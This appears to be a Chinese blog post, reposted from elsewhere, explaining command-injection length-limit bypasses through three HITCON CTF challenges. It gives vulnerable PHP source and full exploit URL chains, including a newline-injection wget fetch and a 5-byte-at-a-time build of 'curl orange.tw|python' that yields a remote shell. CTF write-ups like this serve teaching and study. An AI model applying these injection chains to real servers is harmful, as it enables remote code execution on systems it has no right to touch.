命令注入突破长度限制 | 从CTF题目讲起
来源:互联网 发布:一木成林软件 编辑:程序博客网 时间:2024/06/08 10:15
在命令注入中往往会存在注入命令的长度过短的情况,无法将全部命令完全的输入进去,这种情况下就需要我们来想办法突破系统命令长度的限制。
我们从三道CTF题目来讲解一下这种渗透策略。
一.Babyfirst
Sovled: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection
Idea
Use NewLine to bypass regular expression check
Command injection only with alphanumeric characters
Source Code
<?php highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']; if ( !file_exists($dir) ) mkdir($dir); chdir($dir); $args = $_GET['args']; for ( $i=0; $i<count($args); $i++ ){ if ( !preg_match('/^\w+$/', $args[$i]) ) exit(); } exec("/bin/orange " . implode(" ", $args));?>
Solution
http://localhost/?args[0]=x%0a&args[1]=mkdir&args[2]=orange%0a&args[3]=cd&args[4]=orange%0a&args[5]=wget&args[6]=846465263%0ahttp://localhost/?args[0]=x%0a&args[1]=tar&args[2]=cvf&args[3]=aa&args[4]=orange%0a&args[5]=php&args[6]=aa
And there are also lots of creative solutions, you can check the write ups below.
Write Ups
babyfirst (web 100)
HITCON CTF 2015 Web 100 Web 300 Writeup
HITCON 2015 Quals: Babyexploit
Babyfirst (web, 100p, ?? solves)
二.BabyFirst Revenge
Difficulty: ★☆
Sovled: 95 / 1541
Tag: WhiteBox, PHP, Command Injection
Idea
Command Injection, but only in 5 bytes
Source Code
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);?>
Solution
#generate `ls -t>g` to file "_"http://host/?cmd=>ls\http://host/?cmd=ls>_http://host/?cmd=>\ \http://host/?cmd=>-t\http://host/?cmd=>\>ghttp://host/?cmd=ls>>_#generate `curl orange.tw|python` to file "g"http://host/?cmd=>onhttp://host/?cmd=>th\http://host/?cmd=>py\http://host/?cmd=>\|\http://host/?cmd=>tw\http://host/?cmd=>e.\http://host/?cmd=>ng\http://host/?cmd=>ra\http://host/?cmd=>o\http://host/?cmd=>\ \http://host/?cmd=>rl\http://host/?cmd=>cu\http://host/?cmd=sh _#got shellhttp://host/?cmd=sh g
Write Ups
HITCON CTF 2017-BabyFirst Revenge-writeup
HITCON CTF 2017-BabyFirst Revenge-writeup (Via curl)
HITCON 2017 CTF BabyFirst Revenge
HITCON CTF 2017 - BabyFirst Revenge (172 pts.)
Hitcon CTF 2017 - Baby Revenge
Hitcon CTF 2017 Quals: Baby First Revenge (web 172) (Via xxd)
HITCON CTF 2017 BabyFirst Revenge & v2 writeup
BabyFirst-Revenge-HITCOIN-2017-QUALS by @n4p5ter
三.BabyFirst Revenge v2
Difficulty: ★★★★
Sovled: 8 / 1541
Tag: WhiteBox, PHP, Command Injection
Idea
Command Injection, but only in 4 bytes
Source Code
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);?>
Solution
1.generate g> ht- sl to file v2.reverse file v to file x3.generate curl orange.tw|python;4.execute x, ls -th >g5.execute g
Write Ups
Baby First Revenge v2 (Via vim) by @bennofs
[python] baby-exp.py
How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2
HITCON CTF 2017 BabyFirst Revenge & v2 writeup
四.Summary
Tip1:用%0A(换行符)突破字符检查
Tip2:在Linux的bash命令行中一行命令写不完可以用’\’符号进行衔接。
Tip3:利用ls -t命令写入文件进行执行命令。
Tip4:‘*’命令可以把当前目录文件命令连到一起执行命令,也就是说第一个文件名称为‘dir’就可以列出当前目录所有文件。
Tip5:rev命令可以反转文件内字符内容。
。。。。。。。待完善。
FreeBuf另一篇文档
- 命令注入突破长度限制 | 从CTF题目讲起
- 挖洞经验 | 命令注入突破长度限制
- 注入中表格长度限制的突破
- 突破SQL注入攻击时输入框长度的限制
- 突破GROUP_CONCAT长度限制
- exec 突破长度8000限制
- xss突破长度限制的搜集
- 突破SQL注入限制的一点想法
- 突破SQL注入限制的一点想法
- 关于突破SQL注入限制的新思路
- 突破SQL注入限制的一点想法
- 实验吧 ctf 题目简单的sql注入2writeup
- 从历史讲起
- 从HTTP讲起
- 从卫星电视接收机讲起
- 从锦绣未央讲起
- 从斜率DP讲起
- 使用 C 突破 VB6 的字符串长度限制
- 状压dp Hie with the Pie
- Eclipse项目出现红色叹号的解决办法
- MVP+RxJava+Retrofit使用GET解析拼参数
- 吴恩达(Andrew Ng)深度学习工程师笔记
- (安卓)属性动画 (平移,旋转,透明)
- 命令注入突破长度限制 | 从CTF题目讲起
- 解锁css3新姿势之transform3D各属性及transform兼容之矩阵写法
- 【PAT】1003. 我要通过!(20) C++语言 浙江大学PAT上机题
- mysql -5.7 的安装
- view的CustomBanner轮播
- web开发者工具插件
- Python的学习&文件
- ShoneSharp语言(S#)的设计和使用介绍系列(2)— 掀开盖头
- DSSM, 深度语义匹配模型